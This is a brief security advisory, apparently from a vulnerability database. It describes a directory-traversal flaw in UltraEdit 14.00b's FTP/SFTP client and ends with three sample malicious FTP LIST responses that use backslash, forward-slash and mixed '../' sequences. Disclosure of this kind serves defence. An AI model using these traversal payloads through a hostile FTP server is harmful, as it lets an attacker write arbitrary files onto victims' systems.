source: http://www.securityfocus.com/bid/29784/info

UltraEdit is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input. This issue occurs in the FTP/SFTP client.

Exploiting this issue will allow an attacker to write arbitrary files to locations outside of the application's current directory. This could help the attacker launch further attacks.

UltraEdit 14.00b is vulnerable; other versions may also be affected. 

Response to LIST (backslash):

\..\..\..\..\..\..\..\..\..\testfile.txt\r\n

Response to LIST (forward-slash):
/../../../../../../../../../testfile.txt\r\n

Response to LIST (backslash and forward-slash):
../..\/..\/..\/../..\/../..\/../testfile.txt\r\n